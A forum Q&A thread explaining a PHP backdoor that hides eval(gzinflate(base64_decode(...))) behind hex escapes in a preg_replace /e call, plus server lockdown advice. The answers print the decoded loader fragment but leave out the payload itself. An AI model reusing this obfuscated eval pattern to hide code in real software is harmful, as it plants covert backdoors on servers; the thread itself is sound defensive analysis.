How does this giant regex work?

Solution 1:

This is not entirely a regular expression. The regex is /.*/, which basically means "match everything". The /e Modifier however eval()'s the code in the next parameter. In fact this is a way for someone to hide code. The following proof that this is a backdoor, and you must remove it immediately. Your system maybe compromised further.

This is what the backdoor looks like when it is accessed:

Server security information

the hex part of the code:

\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28

is acutally: eval(gzinflate(base64_decode(

This is the code will print out the source code for this backdoor. However i would not execute the resulting PHP code, unless it is on a disposable virtual machine.

How to lock down your server:

There are a number of ways this could have gotten on your site. Most likely you have been hacked using Exploit Code because one of your web applications is out of date. Try updating everything, including libraries. Change passwords for everything, especially FTP, although should be using sftp or ftps.

If you control your MySQL server make sure your web application's MySQL user account is not root, and make sure you remove MySQL FILE privileges from the account. You should also go a step further and do a chmod 500 -R /path/to/web/root and do a chown www-data -R /path/to/web/root www-data is a common user for apache, but it might be differnt for your system try running <?php system("whoami")?> to figure out the user account.

Next run phpsecinfo. Modify your php.ini or .htaccess and remove all RED, and try and remove as much yellow as possible.

Solution 2:

The e pattern modifier means the replaced code should be executed as PHP code. The series of \x??'s as the beginning of the string are hex characters to hide the ASCII they correspond to; \x65\x76\x61\x6C is equivalent to just typing eval, but someone who sees eval in a script is going to realize immediately that something is up. The complete replacement string translates to:

eval(gzinflate(base64_decode("...")));

I left out the ... contents, but that's the complete code the malware author is executing. You can execute just the gzinflate(base64_decode("...")) part to see the code; it's over 1000 lines long and probably not worth posting here
